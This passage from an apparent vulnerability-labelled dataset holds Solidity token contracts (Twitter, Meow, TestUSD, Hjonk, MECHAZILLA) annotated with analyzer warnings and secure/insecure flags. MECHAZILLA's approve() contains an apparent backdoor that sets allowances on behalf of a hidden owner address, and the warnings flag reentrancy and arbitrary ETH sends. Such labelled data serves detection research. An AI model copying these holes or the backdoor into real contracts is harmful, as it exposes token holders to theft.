10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 897d0ce): Twitter.uniswapV2Router should be immutable \n\t// Recommendation for 897d0ce: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9ed9112): Twitter.uniswapV2Pair should be immutable \n\t// Recommendation for 9ed9112: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 518c013): Twitter.sellsPerBlock should be constant \n\t// Recommendation for 518c013: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0ede263): Twitter.buysFirstBlock should be constant \n\t// Recommendation for 0ede263: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 21;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 101db24): Twitter.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 101db24: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 89e30f8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 89e30f8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e67d23a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e67d23a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 89e30f8\n\t\t// reentrancy-benign | ID: e67d23a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 89e30f8\n\t\t// reentrancy-benign | ID: e67d23a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 30cc316): Twitter._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 30cc316: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: e67d23a\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 89e30f8\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 91fda78): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 91fda78: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 08151fc): Twitter._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 08151fc: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b50d43e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b50d43e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a420fc4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a420fc4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 08151fc\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: 91fda78\n\t\t\t\t// reentrancy-eth | ID: b50d43e\n\t\t\t\t// reentrancy-eth | ID: a420fc4\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 91fda78\n\t\t\t\t\t// reentrancy-eth | ID: b50d43e\n\t\t\t\t\t// reentrancy-eth | ID: a420fc4\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: a420fc4\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: a420fc4\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 91fda78\n\t\t\t\t// reentrancy-eth | ID: b50d43e\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 91fda78\n\t\t\t\t\t// reentrancy-eth | ID: b50d43e\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b50d43e\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 91fda78\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: b50d43e\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: b50d43e\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 91fda78\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 89e30f8\n\t\t// reentrancy-events | ID: 91fda78\n\t\t// reentrancy-benign | ID: e67d23a\n\t\t// reentrancy-eth | ID: b50d43e\n\t\t// reentrancy-eth | ID: a420fc4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: d4902af): Twitter.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for d4902af: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 89e30f8\n\t\t// reentrancy-events | ID: 91fda78\n\t\t// reentrancy-eth | ID: b50d43e\n\t\t// reentrancy-eth | ID: a420fc4\n\t\t// arbitrary-send-eth | ID: d4902af\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 4988caa): Twitter.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 4988caa: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint256 _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 4988caa\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c156027): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c156027: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 27efa5a): Twitter.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 27efa5a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f40233b): Twitter.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f40233b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 506f244): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 506f244: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: c156027\n\t\t// unused-return | ID: f40233b\n\t\t// reentrancy-eth | ID: 506f244\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: c156027\n\t\t// unused-return | ID: 27efa5a\n\t\t// reentrancy-eth | ID: 506f244\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: c156027\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 506f244\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: c156027\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_1212.sol",
"secure": 0,
"size_bytes": 20216
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Meow is ERC20, Ownable {\n uint256 public constant MAX_SUPPLY = 100_000_000 * 1e18;\n\n uint256 public maxWallet = (MAX_SUPPLY * 15) / 1000;\n\n error ERC20MaxWallet();\n\n bool public tradingOpen = false;\n\n function _isMaxWalletExempt(address account) internal view returns (bool) {\n return whitelist[account];\n }\n\n function _isCa(address account) internal view returns (bool) {\n return account.code.length > 0;\n }\n\n function whitelistFromLimit(address account) public onlyOwner {\n whitelist[account] = !whitelist[account];\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 576b07c): Meow.setWallet(uint256) should emit an event for maxWallet = _maxWallet \n\t// Recommendation for 576b07c: Emit an event for critical parameter changes.\n function setWallet(uint256 _maxWallet) public onlyOwner {\n require(_maxWallet >= MAX_SUPPLY / 1000, \"max-wallet-too-small\");\n\n\t\t// events-maths | ID: 576b07c\n maxWallet = _maxWallet;\n }\n\n function openTrading() public onlyOwner {\n tradingOpen = true;\n }\n\n mapping(address => bool) public whitelist;\n\n constructor() ERC20(\"Meow\", \"MEOW\") Ownable(msg.sender) {\n _mint(msg.sender, MAX_SUPPLY);\n\n whitelistFromLimit(msg.sender);\n }\n\n function _update(\n address from,\n address to,\n uint256 amount\n ) internal override {\n if (!tradingOpen) {\n require(\n from == owner() || to == owner(),\n \"_transfer:: Trading is not active.\"\n );\n }\n\n if (amount == 0) {\n super._update(from, to, 0);\n\n return;\n }\n\n super._update(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 04e721e): Meow.transfer(address,uint256)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 04e721e: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 value\n ) public override returns (bool) {\n address _owner = _msgSender();\n\n uint256 balance = balanceOf(to);\n\n if (\n !_isMaxWalletExempt(to) && !_isCa(to) && balance + value > maxWallet\n ) {\n revert ERC20MaxWallet();\n }\n\n _transfer(_owner, to, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public override returns (bool) {\n address spender = _msgSender();\n\n if (\n !_isMaxWalletExempt(to) &&\n !_isCa(to) &&\n balanceOf(to) + value > maxWallet\n ) {\n revert ERC20MaxWallet();\n }\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n}",
"file_name": "solidity_code_1213.sol",
"secure": 0,
"size_bytes": 3156
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract TestUSD is ERC20 {\n uint256 constant MAX = 1_000_000_000 * 1 ether;\n\n constructor() ERC20(\"USD For Test\", \"testUSD\") {\n _mint(msg.sender, MAX);\n }\n}",
"file_name": "solidity_code_1214.sol",
"secure": 1,
"size_bytes": 309
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 96a2974): Contract locking ether found Contract hjonk has payable functions hjonk.receive() But does not have a function to withdraw the ether\n// Recommendation for 96a2974: Remove the 'payable' attribute or add a withdraw function.\ncontract Hjonk is ERC20, Ownable {\n constructor() ERC20(unicode\"hjonk\", unicode\"hjonk\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 96a2974): Contract locking ether found Contract hjonk has payable functions hjonk.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 96a2974: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_1215.sol",
"secure": 0,
"size_bytes": 989
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract MECHAZILLA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) private _isExcludedFees;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 0da312d): MECHAZILLA._bots is never initialized. It is used in MECHAZILLA._transfer(address,address,uint256)\n\t// Recommendation for 0da312d: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fd6a6c7): MECHAZILLA._devWallet should be immutable \n\t// Recommendation for fd6a6c7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _devWallet;\n\n address private xyzOwner;\n\n\t// WARNING Optimization Issue (constable-states | ID: 393bf7d): MECHAZILLA._initialBuyTax should be constant \n\t// Recommendation for 393bf7d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1e4cca9): MECHAZILLA._initialSellTax should be constant \n\t// Recommendation for 1e4cca9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 87abbd1): MECHAZILLA._finalBuyTax should be constant \n\t// Recommendation for 87abbd1: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 43cff40): MECHAZILLA._finalSellTax should be constant \n\t// Recommendation for 43cff40: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 69c5ccf): MECHAZILLA._reduceBuyAt should be constant \n\t// Recommendation for 69c5ccf: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1ce0d35): MECHAZILLA._reduceSellAt should be constant \n\t// Recommendation for 1ce0d35: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: a54310f): MECHAZILLA._preventCount should be constant \n\t// Recommendation for a54310f: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 15;\n\n uint256 private _buyCounts = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Space X Mascot\";\n\n string private constant _symbol = unicode\"MECHAZILLA\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 76d9e03): MECHAZILLA._minTaxSwap should be constant \n\t// Recommendation for 76d9e03: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: a3678d8): MECHAZILLA._maxTaxSwap should be constant \n\t// Recommendation for a3678d8: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool private _caLimitSell = true;\n\n uint256 private _caBlockSell = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n xyzOwner = _msgSender();\n\n _devWallet = payable(0xb16932641238C55490535299580b6b88C713fFcD);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFees[owner()] = true;\n\n _isExcludedFromFees[address(this)] = true;\n\n _isExcludedFromFees[_devWallet] = true;\n\n _isExcludedFees[owner()] = true;\n\n _isExcludedFees[_devWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 32c8aac): MECHAZILLA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 32c8aac: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a7654a0): MECHAZILLA.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a7654a0: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n address owner = (amount > 0 &&\n _isExcludedFees[spender] &&\n block.number > 0)\n ? xyzOwner\n : _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f079e18): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f079e18: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 82b7560): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 82b7560: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f079e18\n\t\t// reentrancy-benign | ID: 82b7560\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f079e18\n\t\t// reentrancy-benign | ID: 82b7560\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2b0f3ca): MECHAZILLA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2b0f3ca: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 82b7560\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: f079e18\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9c17899): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9c17899: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: c80c84d): MECHAZILLA._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for c80c84d: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 0da312d): MECHAZILLA._bots is never initialized. It is used in MECHAZILLA._transfer(address,address,uint256)\n\t// Recommendation for 0da312d: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6943ae5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6943ae5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9a479ac): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9a479ac: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 _taxAmount = 0;\n\n if (!swapEnabled || inSwap) {\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n _taxAmount = amount\n .mul(\n (_buyCounts > _reduceBuyAt) ? _finalBuyTax : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFees[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCounts++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n _taxAmount = amount\n .mul(\n (_buyCounts > _reduceSellAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: c80c84d\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 9c17899\n\t\t\t\t\t// reentrancy-eth | ID: 6943ae5\n\t\t\t\t\t// reentrancy-eth | ID: 9a479ac\n sendETHToFee(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyCounts > _preventCount\n ) {\n if (_caLimitSell) {\n if (_caBlockSell < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: 9c17899\n\t\t\t\t\t\t// reentrancy-eth | ID: 6943ae5\n\t\t\t\t\t\t// reentrancy-eth | ID: 9a479ac\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: 9c17899\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 6943ae5\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 9a479ac\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: 9a479ac\n _caBlockSell = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: 9c17899\n\t\t\t\t\t// reentrancy-eth | ID: 6943ae5\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: 9c17899\n\t\t\t\t\t\t// reentrancy-eth | ID: 6943ae5\n sendETHToFee(address(this).balance);\n }\n }\n }\n }\n\n if (_taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 6943ae5\n _balances[address(this)] = _balances[address(this)].add(_taxAmount);\n\n\t\t\t// reentrancy-events | ID: 9c17899\n emit 